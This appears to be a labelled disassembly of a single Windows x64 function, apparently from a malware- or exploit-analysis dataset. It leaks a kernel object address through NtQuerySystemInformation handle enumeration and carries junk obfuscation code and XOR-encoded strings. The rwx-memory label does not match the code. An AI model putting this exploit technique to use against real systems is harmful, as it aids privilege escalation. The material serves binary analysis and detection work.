Function at 0x1400029c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get system information on windows
Make suspicious ntquerysysteminformation call
Terminate process

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x458
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x3d0]
sub rax, 0x410
add rax, 0x1f
shr rax, 5
shl rax, 5
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rdi, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rsi, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
lea rdx, [rbp + 0x188]
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rdx
mov r8, rdi
mov rdx, rsi
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
call rax
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x140002a8c
mov rax, qword [str.BABUBE]
mov qword [rbp + 0x3c0], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0x3c0]
mov qword [str.BABUBE], rax
jmp 0x140002ad7
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x190]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x190]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x190]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
mov dword [rbp + 0x184], 0
mov eax, dword [rbp + 0x184]
mov eax, eax
mov r9d, 4
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x3b8], rax
mov eax, dword [rbp + 0x184]
mov edx, eax
mov rax, qword [rbp + 0x3b8]
mov r8, rdx
mov edx, 0
mov rcx, rax
call sym.memset
mov edx, dword [rbp + 0x184]
lea rcx, [rbp + 0x184]
mov rax, qword [rbp + 0x3b8]
mov r9, rcx
mov r8d, edx
mov rdx, rax
mov ecx, 0x40
call sym.NtQuerySystemInformation
mov dword [rbp + 0x3b4], eax
cmp dword [rbp + 0x3b4], 0xc0000004
je 0x140002aeb
cmp dword [rbp + 0x3b4], 0xc0000023
je 0x140002aeb
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x140002bcb
mov rax, qword [str.BABUBE]
mov qword [rbp + 0x3a8], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0x3a8]
mov qword [str.BABUBE], rax
jmp 0x140002c16
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x1b0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1b0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x1b0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
cmp dword [rbp + 0x3b4], 0
je 0x140002f48
movabs rax, 0x74e1fb4d87b4eaf0
mov qword [rbp + 0x2e8], rax
mov rax, qword [rbp + 0x2e8]
mov qword [rbp + 0x2e8], rax
mov rax, qword [rbp + 0x2e8]
mov qword [rbx], rax
movabs rax, 0x951d874b7acb5f73
mov qword [rbp + 0x2e0], rax
mov rax, qword [rbp + 0x2e0]
mov qword [rbp + 0x2e0], rax
mov rax, qword [rbp + 0x2e0]
mov qword [rbx + 8], rax
movabs rax, 0x93a68a49c7780e81
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2d8]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x2d8]
mov qword [rbx + 0x10], rax
movabs rax, 0xc9a50571cb0f58bb
mov qword [rbp + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
mov qword [rbp + 0x2d0], rax
mov rax, qword [rbp + 0x2d0]
mov qword [rbx + 0x18], rax
movabs rax, 0x8c8359b2032c951
mov qword [rbp + 0x2c8], rax
mov rax, qword [rbp + 0x2c8]
mov qword [rbp + 0x2c8], rax
mov rax, qword [rbp + 0x2c8]
mov qword [rbx + 0x20], rax
movabs rax, 0x9a95cbe38389e8fb
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2c0]
mov qword [rbp + 0x2c0], rax
mov rax, qword [rbp + 0x2c0]
mov qword [rbx + 0x28], rax
nop
movabs rax, 0x54bca902d5e6afab
mov qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x380]
mov qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x380]
mov qword [rbx + 0x40], rax
movabs rax, 0xfa73a72f16be3030
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x378]
mov qword [rbx + 0x48], rax
movabs rax, 0xe1c3ff18b3362ef5
mov qword [rbp + 0x370], rax
mov rax, qword [rbp + 0x370]
mov qword [rbp + 0x370], rax
mov rax, qword [rbp + 0x370]
mov qword [rbx + 0x50], rax
movabs rax, 0x80c86005b8760bc2
mov qword [rbp + 0x368], rax
mov rax, qword [rbp + 0x368]
mov qword [rbp + 0x368], rax
mov rax, qword [rbp + 0x368]
mov qword [rbx + 0x58], rax
movabs rax, 0x61bc54f6525daf3f
mov qword [rbp + 0x360], rax
mov rax, qword [rbp + 0x360]
mov qword [rbp + 0x360], rax
mov rax, qword [rbp + 0x360]
mov qword [rbx + 0x60], rax
movabs rax, 0x9a95cbe389a78694
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbp + 0x358], rax
mov rax, qword [rbp + 0x358]
mov qword [rbx + 0x68], rax
lea rax, [rbx + 0x40]
mov qword [rbp + 0x350], rax
mov rax, qword [rbp + 0x350]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
mov rax, rbx
mov qword [rbp + 0x348], rax
mov rax, qword [rbp + 0x348]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x180], ymm0
vmovdqa ymmword [rbx + 0x160], ymm1
vmovdqa ymm1, ymmword [rbx + 0x180]
vmovdqa ymm0, ymmword [rbx + 0x160]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
mov rax, rbx
mov qword [rbp + 0x340], rax
vmovdqa ymmword [rbx + 0x140], ymm0
mov rax, qword [rbp + 0x340]
vmovdqa ymm0, ymmword [rbx + 0x140]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x40]
add rax, 0x20
mov qword [rbp + 0x338], rax
mov rax, qword [rbp + 0x338]
vmovdqa xmm0, xmmword [rax]
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0x330], rax
mov rax, qword [rbp + 0x330]
vmovdqa xmm1, xmmword [rax]
vmovdqa xmmword [rbp + 0x320], xmm1
vmovdqa xmmword [rbp + 0x310], xmm0
vmovdqa xmm1, xmmword [rbp + 0x320]
vmovdqa xmm0, xmmword [rbp + 0x310]
vpxor xmm0, xmm1, xmm0
mov rax, rbx
add rax, 0x20
mov qword [rbp + 0x308], rax
vmovdqa xmmword [rbp + 0x2f0], xmm0
mov rax, qword [rbp + 0x308]
vmovdqa xmm0, xmmword [rbp + 0x2f0]
vmovdqa xmmword [rax], xmm0
nop
mov rax, rbx
mov rcx, rax
call sym.printf_char_const__::_
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x140002f90
mov rax, qword [str.BABUBE]
mov qword [rbp + 0x3a0], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0x3a0]
mov qword [str.BABUBE], rax
jmp 0x140002fdb
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x1d0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x398], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x394], eax
mov dword [rbp + 0x3cc], 0
jmp 0x1400030be
mov rcx, qword [rbp + 0x398]
mov eax, dword [rbp + 0x3cc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov rdx, qword [rax]
mov eax, dword [rbp + 0x394]
cmp rdx, rax
jne 0x1400030b7
mov rcx, qword [rbp + 0x398]
mov eax, dword [rbp + 0x3cc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x20
mov rax, qword [rax]
mov rdx, rax
mov rax, qword [rbp + 0x188]
cmp rdx, rax
jne 0x1400030b7
mov rax, qword [rbp + 0x188]
mov rcx, rax
call sym.NtClose
mov rcx, qword [rbp + 0x398]
mov eax, dword [rbp + 0x3cc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x10
mov rax, qword [rax]
jmp 0x140003541
add dword [rbp + 0x3cc], 1
mov eax, dword [rbp + 0x3cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x398]
mov rax, qword [rax]
cmp rdx, rax
jb 0x140003011
lea rax, [0x14004d007]
mov qword [str.BABUBE], rax
mov eax, dword [0x14004c210]
cmp eax, 0x29
jne 0x140003122
mov rax, qword [str.BABUBE]
mov qword [rbp + 0x388], rax
mov byte [0x14004c1f0], 0
mov dword [0x14004c210], 0x349
mov rax, qword [rbp + 0x388]
mov qword [str.BABUBE], rax
jmp 0x14000316d
mov byte [0x14004c220], 1
mov dword [0x14004c210], 0x1218e
mov edx, dword [0x14004c210]
lea rax, [rbp + 0x1f0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov qword [str.BABUBE], rax
lea rax, [rbp + 0x1f0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.basic_string__
mov dword [0x14004c210], 0x29
movabs rax, 0x74e1fb4d87b4eaf0
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
mov qword [rbx + 0x40], rax
movabs rax, 0x951d874b7acb5f73
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x240]
mov qword [rbp + 0x240], rax
mov rax, qword [rbp + 0x240]
mov qword [rbx + 0x48], rax
movabs rax, 0x82e39b76da500e81
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
mov qword [rbx + 0x50], rax
movabs rax, 0xf4e8146bdd0479b7
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x230]
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x230]
mov qword [rbx + 0x58], rax
movabs rax, 0x41cf73923338dd57
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x228], rax
mov rax, qword [rbp + 0x228]
mov qword [rbx + 0x60], rax
movabs rax, 0xb4d18aa6dbefd2df
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x220]
mov qword [rbx + 0x68], rax
movabs rax, 0xd4e581ccb9c801a3
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x218]
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x218]
mov qword [rbx + 0x70], rax
movabs rsi, 0x671795a997ee7d16
mov qword [rbp + 0x210], rsi
mov rax, qword [rbp + 0x210]
mov qword [rbp + 0x210], rax
mov rax, qword [rbp + 0x210]
mov qword [rbx + 0x78], rax
nop
movabs rax, 0x54bca902d5e6afab
mov qword [rbp + 0x2b8], rax
mov rax, qword [rbp + 0x2b8]
mov qword [rbp + 0x2b8], rax
mov rax, qword [rbp + 0x2b8]
mov qword [rbx], rax
movabs rax, 0xfa73a72f16be3030
mov qword [rbp + 0x2b0], rax
mov rax, qword [rbp + 0x2b0]
mov qword [rbp + 0x2b0], rax
mov rax, qword [rbp + 0x2b0]
mov qword [rbx + 8], rax
movabs rax, 0xe1c3ff18b3362ef5
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
mov qword [rbx + 0x10], rax
movabs rax, 0x80c86005b8760bc2
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbx + 0x18], rax
movabs rax, 0x61bc54f6525daf3f
mov qword [rbp + 0x298], rax
mov rax, qword [rbp + 0x298]
mov qword [rbp + 0x298], rax
mov rax, qword [rbp + 0x298]
mov qword [rbx + 0x20], rax
movabs rax, 0x9a95cbe389a78694
mov qword [rbp + 0x290], rax
mov rax, qword [rbp + 0x290]
mov qword [rbp + 0x290], rax
mov rax, qword [rbp + 0x290]
mov qword [rbx + 0x28], rax
movabs rax, 0xd4e581ccb9c801a9
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x288]
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x288]
mov qword [rbx + 0x30], rax
mov qword [rbp + 0x280], rsi
mov rax, qword [rbp + 0x280]
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov qword [rbx + 0x38], rax
mov qword [rbp + 0x278], rbx
mov rax, qword [rbp + 0x278]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
lea rax, [rbx + 0x40]
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0x120], ymm0
vmovdqa ymmword [rbx + 0x100], ymm1
vmovdqa ymm1, ymmword [rbx + 0x120]
vmovdqa ymm0, ymmword [rbx + 0x100]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
lea rax, [rbx + 0x40]
mov qword [rbp + 0x268], rax
vmovdqa ymmword [rbx + 0xe0], ymm0
mov rax, qword [rbp + 0x268]
vmovdqa ymm0, ymmword [rbx + 0xe0]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x20]
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm1, ymm0
lea rax, [rbx + 0x40]
add rax, 0x20
mov qword [rbp + 0x258], rax
mov rax, qword [rbp + 0x258]
vmovdqa ymm0, ymmword [rax]
vmovdqa ymm2, ymm0
vmovdqa ymm0, ymm2
vmovdqa ymmword [rbx + 0xc0], ymm0
vmovdqa ymmword [rbx + 0xa0], ymm1
vmovdqa ymm1, ymmword [rbx + 0xc0]
vmovdqa ymm0, ymmword [rbx + 0xa0]
vpxor ymm0, ymm1, ymm0
vmovdqa ymm1, ymm0
vmovdqa ymm0, ymm1
lea rax, [rbx + 0x40]
add rax, 0x20
mov qword [rbp + 0x250], rax
vmovdqa ymmword [rbx + 0x80], ymm0
mov rax, qword [rbp + 0x250]
vmovdqa ymm0, ymmword [rbx + 0x80]
vmovdqa ymmword [rax], ymm0
nop
lea rax, [rbx + 0x40]
mov rcx, rax
call sym.printf_char_const__::_
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
add rsp, 0x458
pop rbx
pop rsi
pop rdi
pop rbp
ret